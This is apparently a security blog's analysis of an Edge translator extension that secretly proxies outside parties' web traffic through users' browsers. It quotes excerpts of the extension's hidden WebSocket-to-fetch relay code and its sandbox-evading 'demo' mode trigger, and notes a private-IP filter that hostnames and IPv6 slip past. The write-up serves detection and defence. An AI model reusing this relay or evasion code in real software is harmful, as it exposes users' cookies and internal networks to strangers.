Recently we came across an interesting case that demonstrates just how important it is to monitor the behaviour of your network as even simple software components can be deceptive in nature.

Our analysts were alerted to suspicious network activity originating from Microsoft Edge running on a Windows 10 machine. The browser in this instance was making a large number of web requests even though the machine was locked and not in use.

There was one notable long running connection:

Destination IP: 185.130.105.102

Destination Host: ext623chrome2.extenbalanc.org

Destination Port: 88

Process: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Protocol: HTTP

Bytes Sent: 60MB

Bytes Received: 182k

The target domain has very little reputation information and Virustotal shows just 2/92 detections.

On investigation of the packet recording, we identified the true source as a browser extension within Edge:

GET /server_info HTTP/1.1
Host: ext623chrome2.extenbalanc.org:88
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Edg/81.0.416.72
Upgrade: websocket
Origin: chrome-extension://cdkmohnpfdennnemmjekmmiibgfddako
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Sec-WebSocket-Key: okbnw/X2JGHcz6LJkdWKcg==
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

The new Microsoft Edge browser is based on Chrome so the Chrome extension information in the Origin header makes sense. It relates to a language translator extension by SailorMax.

This extension is on the Microsoft App Store and has 4.5/5 star rating.

The same extension is listed on the Opera Adds Ons site where some users mention that their Antivirus has been raising alerts during the time when the extention is installed. There is no explanation as to why this has happened and the plugin author denies any wrong doing.

Looking again at the traffic, after the initial request, the server responds with:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: dg6Ixgk66GkIvyFbhtApaYCpWsM=
uWebSockets: v0.17

This converts the communication into a web socket. The first message observed through the web socket is sent by the server:

{
   "body":"",
   "headers":{
      "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
      "Accept-Charset":"UTF-8,*;q=0.5",
      "Accept-Encoding":"gzip, deflate",
      "Accept-Language":"en-UK,en;q=0.8,en-US;q=0.6,en;q=0.4",
      "Content-Length":"0",
      "Host":"www.google.co.uk",
      "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:54.0) Gecko/20100101 Firefox/54.0"
   },
   "method":"GET",
   "reqid":"462",
   "url":"https://www.google.co.uk/search?q=fashion+design+games&oq=fashion+design+games&gl=UK&gws_rd=cr&num=100&pws=0&uule=w+CAIQICIOVW5pdGVkIEtpbmdkb20",
   "useReqid":true,
   "userParams":{
      "credentials":"omit"
   }
}

The outgoing messages from the browser to the server were protected by a masking key making analysis in Wireshark impossible. We decided to write a decoder for the websocket messages and after doing so, we were able to see both directions. The outgoing messages were formatted as so:

{
   "reqid":"1094",
   "statusCode":200,
   "statusText":"",
   "headers":{
      "status":[
         "200"
      ],
      "server":[
         "nginx"
      ],
      "rtss":[
         "1-2-33"
      ],
      "siteidentity":[
         "wwws"
      ],
      "content-type":[
         "text/html; charset=utf-8"
      ],
      "vary":[
         "Accept-Encoding"
      ],
      "x-http-reason":[
         "OK"
      ],
      "x-dns-prefetch-control":[
         "off"
      ],
      "x-frame-options":[
         "SAMEORIGIN"
      ],
      "x-download-options":[
         "noopen"
      ],
      "x-content-type-options":[
         "nosniff"
      ],
      "x-xss-protection":[
         "1; mode=block"
      ],
      "content-security-policy":[
         "default-src 'self' 'unsafe-eval' 'unsafe-inline' data: https://*.go-mpulse.net https://*.dynamicyield.com https://*.salecycle.com https://*.fls.doubleclick.net https://dev.appboy.com https://www.facebook.com https://service.force.com https://ct.pinterest.com https://bid.g.doubleclick.net https://videos.contentful.com https://www.youtube.com https://*.api.bazaarvoice.com https://sentry.io https://videos.ctfassets.net https://*.akstat.io https://*.perimeterx.net https://*.urbanoutfitters.com https://www.google-analytics.com https://api.bazaarvoice.com https://d16fk4ms6rqz1v.cloudfront.net https://*.akamaihd.net https://*.rewardstyle.com https://urbanoutfitters.secure.force.com https://www.shopstylecollective.com https://www.shopstylecollective.co.uk https://*.myunidays.com https://www.myregistry.com https://core.conversant.mgr.consensu"
      ],
      "cache-control":[
         "private, max-age=0, proxy-revalidate, no-store, no-cache, must-revalidate"
      ],
      "x-akamai-request-id2":[
         "92.122.54.8:2217f00"
      ],
      "pragma":[
         "no-cache"
      ],
      "expires":[
         "Sat, 16 Nov 2019 14:56:50 GMT"
      ],
      "date":[
         "Thu, 14 May 2020 15:15:23 GMT"
      ],
      "set-cookie":[
         "SS_UOSUPNAV=1; path=/; domain=.urbanoutfitters.com; expires=Thu, 14-May-2020 15:45:22 GMT",
         "SS_REVIEW_LOGIN=1; path=/; domain=.urbanoutfitters.com; expires=Thu, 14-May-2020 15:45:22 GMT",
         "SS_STICKY=0; path=/; domain=.urbanoutfitters.com; expires=Thu, 01-Jan-1970 00:00:00 GMT",
         "SS_GDPR_MODAL=0; path=/; domain=.urbanoutfitters.com; expires=Thu, 01-Jan-1970 00:00:00 GMT",
         "SSLB=1; path=/; domain=.urbanoutfitters.com; expires=Fri, 14-May-2021 15:20:22 GMT",
         "SSID=CAD2rR1iAAAAAACKYL1efKpCCIpgvV4BAAAAAAA2lZ5gimC9XgAU-cjPAAOWvxwAimC9XgEAPdIAA8eQHQCKYL1eAQDZzwADgsEcAIpgvV4BAM3PAAOxvxwAimC9XgEAA9EAA9w8HQCKYL1eAQAv0gAD4oodAIpgvV4BAG_QAAFAKB0AimC9XgEA; path=/; domain=.urbanoutfitters.com; expires=Fri, 14-May-2021 15:15:22 GMT",
         "SSSC=472.G6826718756123880060.1|53192.1884054:53197.1884081:53209.1884546:53359.1910848:53507.1916124:53807.1936098:53821.1937607; path=/; domain=.urbanoutfitters.com",
         "SSRT=imC9XgABAA; path=/; domain=.urbanoutfitters.com; expires=Fri, 14-May-2021 15:15:22 GMT",
         "urbn_site_id=uo-ca; Path=/",
         "localredirected=False; path=/",
         "urbn_geo_region=US-PA; Max-Age=15552000; Path=/; Expires=Tue, 10 Nov 2020 15:15:23 GMT",
         "urbn_clear=true; Max-Age=86400; Path=/; Expires=Fri, 15 May 2020 15:15:22 GMT"
      ]
}         

We noted that the messages from the server look like encoded HTTP requests and the messages from the browser look like encoded HTTP responses.

We decided to look closer at the extension on the user's machine which was located in:

C:\Users\username\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\cdkmohnpfdennnemmjekmmiibgfddako

The extension is split into HTML files and JS files. We identified a folder "ext" containing a file "1.6.2_0_js_ext_reverse.js" which at the top references the port (88) used for the web socket connection:

(function() {

const WS_SERVER_PORT = 88;
const IS_VISIBLE_LOGS = false;
const REVERSE_VERSION = '0.1.1';

Within this code, there is clear indication that it is performing web socket calls:

WS.onmessage = function message(event) {
var data = event.data;

try {
data = JSON.parse(data);
} catch (e) {
data = {};
}

...

var request = Object.assign({
method: data.method,
mode: 'cors',
headers: data.headers,
redirect: 'follow'
}, (data.userParams ? data.userParams : {}));

...

fetch(data.url, request).then(function(res) {
if (requests[data.reqid].do_stop)
throw ('Stop processing request');

data.statusCode = res.status;
data.statusText = res.statusText;

...

WS.send(JSON.stringify({
reqid: data.reqid,
statusCode: data.statusCode,
statusText: data.statusText,
headers: response_headers,
res: res
}));

This indicates that the extension is receiving requests via the websocket, performing those requests locally through the browser and then sending the responses back via the websocket. The extension is effectively acting like a proxy for requests being made by some external party.

In the initial request you can see "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:54.0) Gecko/20100101 Firefox/54.0", indicating that the requester is actually a Mac user running Firefox.

This mechanism opens up many security issues, both for the company with this extension installed but also for the person browsing via the extension whose cookies are fully exposed (and potentially passwords in POST requests). One of the issues is that the extension could be used to gain access to the internal network of the company. It does have some limited protection to prevent against requests to internal IPv4 addresses but misses the risk of an attacker using locally resolvable hostnames and IPv6 addresses:

// additional secure checks
// do not accept localhosts
var domains_regexp = /^https?:\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})(:\d+)?(\/|$)/i;
var current_domain = data.url.match(domains_regexp);
if (current_domain && current_domain[1].match(/^\d+\.\d+\.\d+\.\d+$/))
{
var numbers = current_domain[1].split(".");
var num1 = (parseInt(numbers[0]) >>> 0).toString(2);
var num2 = (parseInt(numbers[1]) >>> 0).toString(2);
num1 = "0".repeat(8-num1.length) + num1;
num2 = "0".repeat(8-num2.length) + num2;
var num12 = num1 + num2;
// filter: "10.", "172.16.", "192.168."
if (num1 == "00001010" || num12.substr(12) == "101011000001" || num12 == "1100000010101000")
{
console.error("security: block local IP: " + current_domain[0]);
return;
}
}
// do not accept no standart ports
var port_regexp = /^https?:\/\/[^\/]+\:(\d+)(\/|$)/i;
var current_port = data.url.match(port_regexp);
if (current_port && current_port[1] != "80")

Looking through the code we were able to find that this proxy functionality is only activated when the extension is put into "demo" mode. When installing and running the extension in a sandbox we have identified that it does not start in this demo mode, but at some point decides to move into it and then begins proxying traffic. This would help protect against detection during automated sandbox analysis:

if (useBgProcess && (cfg.mode == "demo"))
{
console.log("demo mode: include reverse script.");
var external_script = document.createElement("SCRIPT");
external_script.src = "js/ext/reverse.js";
var firstScript = document.getElementsByTagName("SCRIPT")[0];
firstScript.parentNode.insertBefore(external_script, firstScript);
}

The comments on the Opera extension page suggesting that AV alerts are generated when the extension is used would be explained by the unrestricted web requests going through the browser. If the requester happens to visit a bad website then this would in turn trigger the local AV and generate unexplained behaviour from the user's perspective.

We believe that the author of the translation extension has embedded this library into their code to monetise it, and that the library acts as an exit node for a peer to peer VPN network. It is possible that many extension authors have been approached to do similar with their extensions and we plan to follow this up in a future blog article.

In this instance we were able to address the security issue simply by removing the extension from the user's browser but it does serve as an important lesson never to install untrusted software and also that the web browser developers are not performing a detailed review of the extensions in their application stores.